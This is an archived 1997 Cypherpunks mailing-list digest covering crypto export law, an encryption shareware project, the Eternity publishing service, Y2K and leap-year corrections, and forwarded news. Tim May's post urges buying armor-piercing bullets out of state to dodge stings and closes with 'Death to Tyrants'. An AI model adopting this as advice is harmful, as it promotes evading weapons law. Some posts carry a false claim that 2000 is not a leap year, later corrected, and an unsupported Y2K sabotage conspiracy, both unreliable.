Just go to your favorite graphics program and copy an entire picture, paste
it, and encrypt it.  I see no use for that whatsoever, but the point is that
if you copy it to clipboard, it can paste and encrypt it.  Since Win95 has
the ability to copy and paste even FILES then I guess that those who want
file encryption are in luck, I have implemented the file detection for
clipboard usage and I have also implemented manual file selection and
encryption.

>Producing output as English-like words is more interesting.
>It's a steganography issue, not a cryptography issue, since you should
>be doing the secure part first anyway, but it can be useful for
>obscuring the fact that you're using crypto in a message.
>The canonical reference is to Peter Wayner's Mimic Functions,
>which let you model an arbitrary context-free grammar for output,
>but you should also look around for "texto".  (The other canonical
>reference is to "PHB", Dilbert's program that disguises the message
>in Pointy Haired Boss jargon, but I'm not aware that anyone's written it.)
>A good book to read on cryptois Bruce Schneier's "Applied Cryptography",
>which discusses most of the current algorithms and how they're used.

Me and a friend of mine have written some new bit switching procedures which
use keys to encrypt the input in a dozen different number systems, but since
that realllllllly slows it down I'm going to have to write a random
number/phrase generator mainly used to hash the key and make it a couple of
dozen characters long no matter how long it is.  Brute force will be
possible (it's unavoidable!) but just decrypting the text alone will not
work.  It will have to contain an ability to hash a guessed key just like
this program and then try the guess, making it take much longer in general
to brute force it.  That doesn't apply to the governments computers, but
since when does anything to do with slowing down brute forcing apply to them
and their mainframe-using crypanalytic selves???

>>The encryption algorithm,
>>using a symmetrical is going to be as strong as legally allowed, 

>There are no legal restrictions on cryptography strength in the US;
>only restrictions on what's exportable, and even then you need permission. 

I was just implying of the possibility that the US might soon resolve some
_MORE_ restrictions on cryptography, since they've already proven their
capability of imposing as much on the US.

Thanks for the information Bill!


For who ever said that I was going to release the source to this program's
copy protection... I'M NOT!  I don't have to prove to you how good or bad
its copy protection is!!!  Someone will reverse-engineer it anyways, and it
might as well take them a day or ten.  Besides, this program isn't even
going to cost ten bucks.... but I'll stop now before this e-mail spams any
further.

Guillotine






From tcmay at got.net  Tue Jul 29 01:19:50 1997
From: tcmay at got.net (Tim May)
Date: Tue, 29 Jul 1997 16:19:50 +0800
Subject: Guns, Roses & Tobacco
In-Reply-To: <199707290722.JAA09290@basement.replay.com>
Message-ID: 



Get 'em while you can....

At 12:22 AM -0700 7/29/97, Anonymous wrote:
>  Meantime, taking their cue from the Tobacco Nazis, the city of
>Philadelphia is trying to figure out how to sue gun manufacturers for
>their
>crime rate -- 414 homicides last year, according to conservative
>gabmeister
>Rush Limbaugh. "Expect the arguments to focus on how unsafe guns are,
>the
>lack of warning labels, the lack of formal training programs, etc." ...
>rather than simply improve public safety by legalizing concealed
...


It's been apparent for many years that the Plan is to to disarm Americans,
as most Europeans, Canadians, and Brits have already been disarmed. Suing
the gun manufacturers is the new approach. (But what will the military do
when Colt becomes insolvent, when Smith and Wesson and Ruger and all the
rest seek bankruptcy protection? I guess there's always SIG, Heckler &
Koch, and Beretta...those damned Europeans may be disarming their
citizen-units, but they're not doing it by suing their corporations!)

Me, I stocked up on guns bought with cash at the San Jose and San Francisco
Gun Shows, where money changed hands without any IDs being presented. (Plus
an emergency run to Reno in 1993 to beat the deadline imposed by
Swinestein's new legislation in Kalfornia.) Most of my guns are
unregistered, unreported, and known only to me. And I've made certain to
scatter a few of them in safe deposit boxes, and in the usual sealed
"planters."

The storm troopers are preparing to disarm the citizen units.

Remember, KTW bullets pierce Kevlar vests. The jackbooted thugs want these
KTW bullets outlawed. Get 'em while you still can, which won't be for long.

(Don't buy them in Kalifornia, as you'll likely be caught in a sting,
courtesy of Uberfascist Dan Lungren. Buy them out of state. An H&K 91 is a
pretty good dispensor of these KTWs. Colt or equivalent AR-15s and clones
are also pretty good. Though I haved to admit that I'm kind of having a
"retro" phase, finding my Winchester 94 Wrangler, in .44 Magnum, is pretty
handy. It's now the rifle I tend to have in my hand when I answer the door.
A lot handier than the ubiquitous SKS Chicom pieces of shit. Friends of
mine keep telling me to go for a Benelli Super 90 Tactical Shotgun, but I
guess the handier .44 Mag carbine fits me better at this time.)

Me, the Santa Cruz County Sheriff's office has already let me know that I'm
on a list of suspected militia supporters. After OKC, anyone with an
arsenal is suspect. We each know who the enemy is.

Whatever happened to the Second Amendment?

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tgi at null.net  Tue Jul 29 01:44:41 1997
From: tgi at null.net (Craig Strickland)
Date: Tue, 29 Jul 1997 16:44:41 +0800
Subject: Not a Logic-Newbie / Re: Queries from a Cyper-newbie?
In-Reply-To: <199707290236.EAA08713@basement.replay.com>
Message-ID: <3.0.3.32.19970729041243.034287ac@mail.emi.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 04:36 07/29/97 +0200, Anonymous  wrote:
>At 18:24 07/28/97 -0700, Chris Avery  wrote:
>>... What gets me is the blind arrogance with which govt "servants"
>>assume that their (even if legitimate) pursuit of crime somehow
>>excuses or justifies diminishing privacy rights for everyone else...

Unfortunately, you're doing exactly what the "servants" want you to.  You're 
falling for their [believable] lie that they "need" to diminish your rights 
in order to do their job in fighting crime.  This is a difficult issue to 
oppose, since it leads directly to the accusation "if you oppose the 
government's need to have the keys to your house, then you must support 
crime".  But, it makes you more manageable to the "servants" as they ever so 
slowly encroach on your rights until there's pitifully little remaining.

It's too easy to look at each "minor inconvenience" as the incremental and 
cumulative erosion takes place and say "what could the harm be in that?"  
Perhaps very little, but it's the end result that's important.

It's important to recognize that the crime-fighters are violating the laws 
that were put into place to protect the citizens from the government.  A 
trivial example is the "seizure laws" that have become popular recently in 
"cracking down on the drug problem".

Please note carefully that the Constitution specifically prohibits the 
seizure of property without due process.  The current "anti-drug" seizure 
laws have eliminated due process and are therefore, by definition, in direct 
violation of the Constitution.  They are unconstitutional, and (if the 
Judicial branch weren't also corrupted) would be struck down instantly upon 
the first attempt to enforce through the Courts.

Please next note carefully that each office-holder in this country swears an 
oath to uphold the Constitution, and note also that an attempt to violate or 
destroy the Constitution is defined as an act of treason.

Thus, the introduction, vote "aye" for, passing, and enforcing such "laws" 
are each acts of treason.

How far can you trust the law-makers and law-enforcers when THEY THEMSELVES 
are law-breakers?  It's not even inadvertent or accidental.  Those who draft 
bills to introduce such legislation are directly intending to "bypass" or 
"circumvent" the Constitution.  Translated from "servant speak", that means 
"oppose" the Constitution.

Another point not to miss is that the "seizure laws" created a potent and 
immediate conflict of interest.  Those that you trust to "protect and serve" 
you now have a strong financial incentive to abuse the seizure laws, since 
the "loot" goes directly to fill up departmental coffers.  Here in Florida, 
seizures of boats and aircraft are so common that they aren't mentioned on 
the news nor in the paper.  Small businesses are ruined as millions of 
dollars of capital equipment is seized by the very officers that are rewarded 
[promotions, bonuses, budget increases next year] for their actions.  We've 
seen many cases that were completely groundless, but no judge ever sees the 
[lack of] evidence.  The owners are almost never charged with any crime.  The 
"goods" are simply taken, and the officers walk away.  The end.

The voting public loves it because it's made the law enforcement tax burden 
lighter, and anything that cuts costs is acceptable, especially since "the 
only people being hurt are those evil drug lords".  Tell that to the pilot & 
owner of an airplane seized due to a single marijuana cigarette butt found in 
his cargo hold.  He wasn't charged, and there were more than 40 people that 
had access to his plane, including baggage handlers and maintenance crews.  
If there had been a Constitutionally-mandated trial, the evidence wouldn't 
have the slightest chance of reaching a conviction.  No drug history 
whatsoever, accurate FAA records and customer invoices, nothing.  No link 
between the pilot and the butt.  But, the illegal law "authorizes" the police 
to line their departmental pockets, while the aircraft loan is foreclosed and 
he's out of business.  A stupid result [from the government's point of view] 
since he's no longer going to be paying the taxes on the revenue his business 
generated, and his unemployed former employees don't pay theirs.

Just the kind of abuse that was envisioned when the Constitution was being 
drafted.  Privacy is one of the fundamental links in the ability of citizens 
to protect themselves from a government that becomes too powerful and too 
abusive.

>... one of the
>major reasons for the erosion of our civil rights is usurpment of
>them by civil servants. In effect, the "servants" have armed themself
>and taken over control of the manor from its owners--their "masters."
>
>  "Legitimate needs" seem to have usurped "legitimate rights."

Absolutely!  Very well put.

	Our Founding Fathers did not create our civil liberties -- the
	very heart and soul of our personal and national lives. They
	secured those liberties. They safeguarded them. This Bill of
	Rights is our guarantee of freedom.

The "servants" would have you believe that the Federal Government "created" 
the rights that you have [what's left of them, anyway].  Moreover, that those 
rights are equally subject to suspension/revocation at the government's whim. 
 Rather like when a parent "grounds" their child.  Don't fall for it.

- --
Internet:  tgi at null.net                   Physical:  26 11'46"N  80 14'20"W
Web:       http://pobox.com/~tgi/         Amateur:   KE4QJN
PGP Key:   Available from key server: pgp-public-keys at pgp.mit.edu
           Fingerprint: E6 E1 25 DE 7C 6F 34 CD  E7 75 ED 21 7E 45 6E D7

"Our task of creating a socialist America can only succeed when those who
would resist us have been totally disarmed."  Sara Brady, Chairman, Handgun
Control, to Sen. Howard Metzanbaum, The National Educator, January 1994,
Page 3.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
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=w+8b
-----END PGP SIGNATURE-----






From tgi at null.net  Tue Jul 29 01:51:38 1997
From: tgi at null.net (Craig Strickland)
Date: Tue, 29 Jul 1997 16:51:38 +0800
Subject: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <3.0.3.32.19970729042336.0341fca0@mail.emi.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 08:10 07/28/97 -0700, Bill Stewart  wrote:
>At 03:24 PM 7/27/97 -0600, Guillotine  wrote:
>>The encryption algorithm,
>>using a symmetrical is going to be as strong as legally allowed, 
>
>There are no legal restrictions on cryptography strength in the US;
>only restrictions on what's exportable, and even then you need permission. 

This triggered a thought that may have already been discussed, but I thought 
I'd throw it out anyway.  Since the export of cryptography = munitions, what 
happens if I write an application that's the "shell", and contract with a 
national and resident of a foreign country to write the crypto module.  I do 
not export the crypto technology other than sending them a printed book 
(which Phil Karn's filing determined was exportable as a non-munition).

I then retail the software as a 2-component system (distantly like PGP 2.6.3i 
could have been) on the web.  FTP the "shell" from my domestic site, and FTP 
the "crypto" from the foreign site.  Both install to make the seamless 
finished product.

Anyone seen anything in ITAR addressing such a hiring arrangement?

I'm not planning it, just spewing hypotheticals that tickle my curiosity.
- --
Internet:  tgi at null.net                   Physical:  26 11'46"N  80 14'20"W
Web:       http://pobox.com/~tgi/         Amateur:   KE4QJN
PGP Key:   Available from key server: pgp-public-keys at pgp.mit.edu
           Fingerprint: E6 E1 25 DE 7C 6F 34 CD  E7 75 ED 21 7E 45 6E D7

"Our task of creating a socialist America can only succeed when those who
would resist us have been totally disarmed."  Sara Brady, Chairman, Handgun
Control, to Sen. Howard Metzanbaum, The National Educator, January 1994,
Page 3.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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=3w14
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Tue Jul 29 02:13:50 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Tue, 29 Jul 1997 17:13:50 +0800
Subject: NYTimes: Disappearing Cryptography
Message-ID: <199707290900.DAA22235@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    _________________________________________________________
    Forwarded to you by Attila T. Hun 

July 29, 1997
Giving Away Secrets
By PETER WAYNER
NYTimes OpEd 

BALTIMORE -- Internet hype can turn age-old problems
into new grave threats.  The biggest tempest may be
the concern over the use of encryption, or secret
codes, to scramble information sent over the Internet
and other computer networks.  The use of codes may
thrill people who want to protect the business plans
on their office computers and the love letters they
send by E-mail.  But it worries the Director of the
Federal Bureau of Investigation, Louis J. Freeh, and
other law-enforcement officials.

Mr.  Freeh is right to be concerned that encryption
can limit the ability of law enforcement to gather
electronic evidence from wiretaps and court-ordered
searches.  But he was wrong when he recently told the
Senate Judiciary Committee that "technology and
telecommunications well beyond the contemplation of
the Framers" will bring "a terrible upset of the
balance so wisely set forth in the Fourth Amendment."
In other words, he envisions the balance tipping
against the police, because they will have more
difficulty conducting reasonable searches if more of
the information they are seeking is encrypted.

Yet cryptography wasn't beyond the contemplation of
the Framers, because many of them were skilled code
makers and code breakers themselves.  David Kahn's
book "The Codebreakers" tells how codes have affected
history for more than 3,000 years.  According to Mr.
Kahn, George Washington had to deal with the problem
when a coded message was intercepted in August 1775
from Benjamin Church, a member of the Massachusetts
Congress who was a spy for the British.  The message,
which was finally deciphered, told the English details
of American troop movements.

As Mr.  Kahn reveals, both sides in the Revolutionary
War made extensive use of encryption.  Benedict Arnold
designed the complex code that he used to sell out his
country.

James Lovell of the Continental Congress helped win
the war by breaking the codes used by General
Cornwallis.  After the war, Thomas Jefferson and James
Madison communicated in their own private code.  And
Benjamin Franklin devised his own cipher for sending
dispatches from Europe.

Yet in writing the Bill of Rights, the Founders did
not forbid cryptography, even though they knew how
powerful a tool it could be.  Nor did they suggest
that the police be able to obtain the plain text of a
coded message.  But that could happen under a measure
sponsored by Senator Bob Kerrey of Nebraska, a
Democrat, and Senator John McCain of Arizona, a
Republican.  Under their bill, the key to any code
used to scramble information sent on the Internet
would have to be given to the proper authorities.  The
Clinton Administration supports similar measures.

James Bamford, in "The Puzzle Palace," describes how
the F.B.I.  broke the case of the gangsters who were
communicating without phone calls or letters.  Agents
discovered that the gangsters sent their shirts to Las
Vegas to be dry cleaned -- and that the number of
shirts held the coded message.  No ban on cryptography
on the Internet will be able to thwart creative crooks
like these, but diligent police work can find cracks
in the armor.  This is why the National Research
Council has recommended that Congress invest in
research to help the F.B.I.  better understand
computers and codes.

The F.B.I.  faces a daunting task.  Encryption makes
it impossible for agents to gather all the evidence
they would like.  But the answer is not to regulate,
and in effect destroy, the use of coded messages.
Criminals would probably find a way around the rules,
and the rest of us could lose a powerful tool for
protecting our privacy.

Peter Wayner is the author of "Disappearing
Cryptography."

       _____________________
        End forwarded message
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

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From nobody at secret.squirrel.owl.de  Tue Jul 29 03:12:09 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Tue, 29 Jul 1997 18:12:09 +0800
Subject: NSA leak (fwd)
Message-ID: <19970729065101.25863.qmail@squirrel.owl.de>



Subject: Re: NSA leak (fwd)

From: h_tuttle at rigel.cyberpass.net

> Terawatts for a few microseconds is fairly standard technology, I 
> believe.  Femtosecond laser pulses driven by *very* large capacitor 
> banks... 

I'm talking continuous generation - sustained for half an hour...
 
> > Terrestrial fusion is not a serious contender yet, and I doubt
> > it will be for a long time.
> 
> It's easy to generate lots of power through fusion.  The problem is 
> confinement. 

I'm still talking continuous generation - we'll leave out the H-bombs.
And of course I agree confinement is a major problem.

Last I heard from the cutting edge (early '90s) you could get
2MW out of a fusion reactor, but that was less than you put in
to start it up.  That was using Deuterium, being gentle in order
to preserve the reactor.  Predictions were that using D-T would
break even.  Even that isn't anywhere near a commercial scale
generator.

You know of better results ?    There certainly are a number
of approaches, but I think I'd know if commercial fusion reactors
were working.

Are you ready to take this off-list ?






From aba at dcs.ex.ac.uk  Tue Jul 29 03:25:49 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 29 Jul 1997 18:25:49 +0800
Subject: Eternity (was Re: CPAC, XtatiX, and the Censor-State)
In-Reply-To: <19970729014252.9662.qmail@zipcon.net>
Message-ID: <199707291007.LAA00721@server.test.net>




Mike Duvos  writes:
> Adam Back  writes:
> 
>  > You two must've been snoozing when I posted the Eternity
>  > service announce back in April.  I implemented something
>  > which does pretty much exactly what you're discussing.  I'll
>  > include a repost below.
> 
> I skimmed it.  "Eternity" makes me think of caskets and people in
> dark suits with expensive prices. :)

I "borrowed" the name from Ross Anderson I think it comes from
something called an eternity machine.  Perhaps a more descriptive name
would help?  USEWEB?  ALT web?  
(Have URLs of the form http://[host].alt/)

>  > So beyond implementing it, which I've done a first cut of,
>  > the next problem is getting people to use it, to advertise
>  > it so that people know it exists, to get people to put lots
>  > of "interesting" (= otherwise censored, so possibly pretty
>  > interesting) materials on it, so that people find it
>  > interesting to browse documents on it.
> 
> Hmmm.  I would certainly not want to be the only person running a
> server when the "interesting" materials got posted.

Yes, running an eternity server is going to have similar if not worse
operator harrassment problems than running remailers.  I've been
subscribed to remop  for a while
now, and remailer operators take no end of flak.

Once it gets going perhaps people can use their own personal eternity
server, a server for their own use only.  That at least directs
criticism to USENET admins, news archiving search engines, and
remailer operators (the exit remailers on the actual posts).

I'm confident that USENET can take the strain.  The average of
newsadmins doesn't honor cancels, and won't be bothered, or will be
hostile to the notion of canceling articles on the request of kooky
censors.  Search engines might be persuaded to delete posts from their
archives in the extreme.  I understand that the poster can request
posts removed from altavista.  Perhaps with enough harrassment
altavista might be coerced into removing other peoples posts.

The obfuscation of encrypting with pgp -c and password "eternity"
should help in that the documents are not directly readable.  At least
one of the search engines does not archive uuencoded posts.  It does
archive PGP radix-64 encoded posts.  Perhaps that would change if
censors created enough of a nuisance of themselves.

If they do stop archiving radix-64 we can switch to texto (crude text
stego app, which is kicking around the net somewhere).

> I'll see if I can get it to work.  Perhaps I can be Jim Bell's
> cellmate if things don't work out.  :)

Just view it as a temporary, disposable service.  When the heat gets
turned up to the stage where you receive bonafide legal letters,
disable it, and let someone else start some servers.  All the
documents will survive, as they live in USENET spools, and in search
engines USENET archives.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


FINALLY, THE ANSWER TO LIFE!!

Science, Not-Fiction

Have you ever pondered any of these questions?

1.What is the origin of life?
2.What is Life?
3.How were we created?
4.What happens when we die?
5.Is there other life out there?
6.Do we ever become immortal?

FOR THE ANSWERS TO THESE QUESTIONS AND MORE, POINT YOUR BROWSER TO

www.wgn.net/~dicewars/

www.wgn.net/~dicewars/






From dmac at bway.net  Tue Jul 29 05:38:25 1997
From: dmac at bway.net (David Macfarlane)
Date: Tue, 29 Jul 1997 20:38:25 +0800
Subject: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <33DDE125.7DE1@bway.net>



Craig Strickland wrote:
[snip]
> I then retail the software as a 2-component system (distantly like PGP 2.6.3i
> could have been) on the web.  FTP the "shell" from my domestic site, and FTP
> the "crypto" from the foreign site.  Both install to make the seamless
> finished product.
> 
> Anyone seen anything in ITAR addressing such a hiring arrangement?

My memory is a bit foggy on this one, but didn't the gov't ask 
Netscape (and others?) to stop producing programs with the hooks
for strong encryption in them, in spite of the fact that they 
did _not_ provide that strong encryption?  It was pretty weird
at the time, and hard to believe, but the discussions it 
generated then should be in the archives somewhere.

On the other hand, the political climate wrt ITAR is changing,
so you may not have to go to such lengths in the near future.

dmac at bway.net






From jeffb at issl.atl.hp.com  Tue Jul 29 07:03:35 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Tue, 29 Jul 1997 22:03:35 +0800
Subject: New Crypto Application
In-Reply-To: <33DDE125.7DE1@bway.net>
Message-ID: <199707291350.JAA03303@jafar.issl.atl.hp.com>



David Macfarlane writes:

> My memory is a bit foggy on this one, but didn't the gov't ask 
> Netscape (and others?) to stop producing programs with the hooks
> for strong encryption in them, in spite of the fact that they 
> did _not_ provide that strong encryption?

The story was that NSA had asked the NCSA folks to remove the
PEM/PGP hooks in their web server source.  See, for example,
    http://consult.ncsa.uiuc.edu/docs/httpd/Upgrade.html


-- Jeff






From sunder at brainlink.com  Tue Jul 29 07:56:14 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Tue, 29 Jul 1997 22:56:14 +0800
Subject: y2k problem *serious*
In-Reply-To: <199707290054.RAA21755@netcom13.netcom.com>
Message-ID: 



On Mon, 28 Jul 1997, Vladimir Z. Nuri wrote:

> some people have talked about the y2k problem here, the 
> "year 2000 problem". as programmers know, is the
> name given to the glitches that are caused by software
> malfunctioning because it only used 2 characters for the
> date field. I have mentioned that I think government
> agencies are going to be particularly hard-hit by this 
> situation. I envisioned delays in payments etc. of something like
> a few weeks or so.

Talk about giving them more credit than is due.  This is government you're
talking about.  Try 6 months to several years. :)  And don't forget about
the year 2038 problem (Unix rolls over dates on that date for 32 bit
systems...) Also, the year 2000 isn't a leap year, but most
PC's will think it is.
 
IMHO, come October 1999, take all your savings in the form of a cashier's
check and wait until Jan 2nd to redeposit it.  Good luck with credit
cards.  You might want to clear them off first..  And if you've got
mortgages, good luck if you don't wipe them off by then!

One easy fix to the problem (if the software supports it) is to convert
the two digit years (if they're stored as characters) into a 16 bit
unsigned integer.  That would be good until the year 65535, and still let
you use 1802 as a year.  But some warez use a single byte - which isn't
easy to extend...  Some RDBMS and DB's won't let you do this easily.  Life
sucks when corporations use code over the time it was meant for (like 
DES for instance) what can we say. :)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder at sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================






From putpeel2 at orbisnet.com  Tue Jul 29 23:00:47 1997
From: putpeel2 at orbisnet.com (putpeel2 at orbisnet.com)
Date: Tue, 29 Jul 1997 23:00:47 -0700 (PDT)
Subject: List of P.E.E.L. district managers near you!
Message-ID: <0000000000.AAA000@orbisnet.com>


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From jeffb at issl.atl.hp.com  Tue Jul 29 09:37:12 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Wed, 30 Jul 1997 00:37:12 +0800
Subject: NOISE: Leap years (was Re: y2k problem *serious*)
In-Reply-To: 
Message-ID: <199707291622.MAA03401@jafar.issl.atl.hp.com>



Ray Arachelian writes:

>             Also, the year 2000 isn't a leap year, but most
> PC's will think it is.

This is wrong.  2000 *is* a leap year.

A leap year is a year that is evenly divisible by four but not by
100 unless also divisible by 400.

For example, 1900, 2100 and 2200 aren't leap years, but 1600, 2000,
and 2400 are.

In C coder lingo:

Boolean
IsLeapYear(long year)
{
    if ((year % 4) == 0) {
	if ((year % 100) == 0) {
	    if ((year % 400) == 0)
		return True;
	    return False;
	}
	return True;
    }
    return False;
}


-- Jeff






From iang at cs.berkeley.edu  Tue Jul 29 09:56:06 1997
From: iang at cs.berkeley.edu (Ian Goldberg)
Date: Wed, 30 Jul 1997 00:56:06 +0800
Subject: y2k problem *serious*
In-Reply-To: <199707290054.RAA21755@netcom13.netcom.com>
Message-ID: <5rl6e2$agc@abraham.cs.berkeley.edu>



In article ,
Ray Arachelian   wrote:
>Also, the year 2000 isn't a leap year, but most PC's will think it is.

Sigh.  It boggles the mind how many people know the 100-year exception to the
"divisible by 4" rule, but don't know the 400-year exception to the exception.

>From http://www.boulder.nist.gov/timefreq/faq/q28.htm :

    Is the year 2000 a leap year? 

    The year 2000 will be a leap year. Century years (like 1900 and 2000)
    are leap years only if they are evenly divisible by 400. Therefore, 1700,
    1800, and 1900 were not leap years, but the year 2000 will be a leap year.

    To understand this, you need to know why leap years are necessary in
    the first place. Leap years are necessary because the actual length of
    a year is 365.242 days, not 365 days, as commonly stated. Therefore,
    on years that are evenly divisible by 4 (like 1992, for example) an
    extra day is added to the calendar on February 29th. However, since the
    year is slightly less than 365.25 days long, adding an extra day every
    4 years results in about 3 extra days being added over a period of 400
    years. For this reason, only 1 out of every 4 century years is considered
    as a leap year.

Note that (from http://www.boulder.nist.gov/timefreq/ :)

    The Time and Frequency Division is an operating unit of the Physics
    Laboratory of the National Institute of Standards and Technology
    (NIST). Located in Boulder,Colorado at the NIST Boulder Laboratories,
    the Time and Frequency Division:

    o Maintains the primary frequency standard for the United States.
    o Develops and operates standards of time and frequency.
    o Coordinates U. S. T&F standards with other world standards.
    o Provides time and frequency services for United States clientele.
    o Performs research in support of improved standards and services.

So if NIST says 2000 will be a leap year, that would seem to be "official"
(at least for the US).

   - Ian "who's going to be sorry he bothered responding"






From declan at well.com  Tue Jul 29 10:24:49 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 30 Jul 1997 01:24:49 +0800
Subject: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News
Message-ID: 





---------- Forwarded message ----------
Date: Tue, 29 Jul 1997 10:03:46 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: Boylovers, NAMBLA, and Net-vigilantes, from The Netly News


-----

http://pathfinder.com/netly/opinion/0,1042,1222,00.html

The Netly News (http://netlynews.com/)
July 29, 1997

This Boy-Lover's Life
by Declan McCullagh (declan at well.com)
   
        Anne Cox is nothing if not determined. For months the
   Net-vigilante has been unwavering in her crusade against pedophiles,
   undaunted by insults, threats and even the "horrible things" done to
   pictures of her as a baby that she had digitized and placed online.
   She fought back with just about every possible tactic: argument,
   public humiliation and sometimes-spurious threats of legal action.
   
        Now, the war is escalating.
   
        It started in May, after Cox launched an assault on "boy-lover"
   web sites in an attempt to force them offline. But she and her allies
   ran into a serious obstacle: the sites aren't illegal. They're filled
   not with child pornography -- which is banned by federal law -- but,
   instead, photos of boys in swimsuits. "They shouldn't be doing these
   things with the children's pictures," Cox says.

[...]

        Some argue that Cox and her allies have gone too far. Besides
   boy-pix sites, this team of Net-vigilantes has attacked a group of gay
   teens organizing "to fight against" discrimination. They've tried to
   take down a consensual spanking page for gay adults, and even an
   archive of sexually-explicit stories that specifically rejects tales
   about pedophilia. Then there's the murky Children's Protection and
   Advocacy Coalition, which Cox claims to run -- yet she refuses to name
   its member organizations.

[...]







From alan at ctrl-alt-del.com  Tue Jul 29 10:35:02 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Wed, 30 Jul 1997 01:35:02 +0800
Subject: y2k problem *serious*
In-Reply-To: <199707290640.IAA04623@basement.replay.com>
Message-ID: 



On Tue, 29 Jul 1997, Anonymous wrote:

>   There is an underground computer organization in place which is
> actively working toward sabotaging government and corporate efforts
> to resolve the Year 2000 problems. They began coordinating their
> efforts in 1990, almost a decade before the powers-that-be will
> finally get around to recognizing the need to definitively move
> on the matter in a major way.
>   In essence, the goals of the organization have been to promote
> the most unwieldy, unworkable and inefficient solutions possible
> to the Year 2000 programming problems which exist on various
> platforms. It was forseen that the problem would be a weak point
> in the New Electronic World Order that could be effectively used
> to inject chaos and diversion into the plans of the secret world
> governments to turn the Internet into a tool of government and
> corporate fascism.

This sounds like the ISO-9000 "quality" pogroms.  (Using corporate fascism
to destroy corporate fascism, one manager at a time.)

Need to find another picture of Steven R. Covey for the blowgun range...

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From declan at well.com  Tue Jul 29 10:41:47 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 30 Jul 1997 01:41:47 +0800
Subject: Majority in house support SAFE encryption bill, from SPAlert
Message-ID: 





---------- Forwarded message ----------
Date: Tue, 29 Jul 1997 10:19:36 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: Majority in house support SAFE encryption bill, from SPAlert

[From an alert put out by the Software Publishers Association. (I skipped
the press conference.) --Declan]


---------- Forwarded message ----------

Encryption
---------------
MAJORITY IN HOUSE SUPPORT PASSAGE OF ENCRYPTION BILL
Rep. Bob Goodlate (R-Va.) and Rep. Zoe Lofgren (D-Calif.) will hold a press
conference in room HC7 in the U.S. Capitol today to announce that a
majority in the House of Representatives have signed on as co-sponsors of
H.R. 695, the Security and Freedom through Encryption (SAFE) Act.  SPA
today called on the Clinton administration to immediately cease its
opposition to the SAFE Act, which allows the free export of encryption
products while providing American businesses with the tools needed to
protect corporate data.

"Forty years ago, John F. Kennedy wrote 'Profiles In Courage' on political
leaders with the moral and political courage to resist the easy path and,
instead, make difficult choices in the national interest.  Today, members
of the House passed this test of courage with flying colors," said Ken
Wasch, SPA president.  "On the other side of Capitol Hill, however, the
ghost of J. Edgar Hoover lurks in the cloakrooms of the Senate.  Rather
than taking a courageous stand for America, some Senators would rather
follow the administration's play book, trading personal freedoms for what
they themselves admit is only marginal improvement."

"House members have clearly studied the issue and recognize that burdening
high-tech industries with oppressive regulation and restrictive export
controls will only harm America and law enforcement in the long run.  Law
enforcement concerns cannot be addressed by mandating technology but by
adopting policies ensuring technical progress and innovation occurs in the
United States."

The SAFE Act now proceeds to the Commerce, Intelligence, and National
Security Committees, all of which have until September to vote on the
legislation.

For full text of the release, visit
http://www.spa.org/gvmnt/releases/hmajority.htm.

For access to Rep. Goodlatte's Web page regarding the SAFE Act, visit
http://www.house.gov/goodlatte/encryption.htm.

For full text of SPA's statement following the SAFE Act's passage by the
House Committee on International Relations, visit
http://www.spa.org/gvmnt/releases/encryptpr.htm.

For further information, contact Lauren Hall at (202) 452-1600, ext. 313,
or lhall at spa.org.








From Tom.Helenius at DataFellows.com  Wed Jul 30 01:54:34 1997
From: Tom.Helenius at DataFellows.com (Tom Helenius)
Date: Wed, 30 Jul 1997 01:54:34 -0700 (PDT)
Subject: Sorry about accidental spamming
Message-ID: <3.0.32.19970730112207.00a38910@datafellows.com>


Dear Security Professional,

We apologize for the annoyance and confusion we might have caused to you
due to human error in our email addressing. As a result some of our
internal emails about the newly announced F-Secure VPN v1.1 software were
erroneously emailed to your attention.

It is definitively not our company policy to contribute to spamming on the
Internet, and we do hope that you'll still want to receive the otherwise
unbiased information sent to the members of our press list.

Yours sincerely,

Tom Helenius
Data Fellows

--
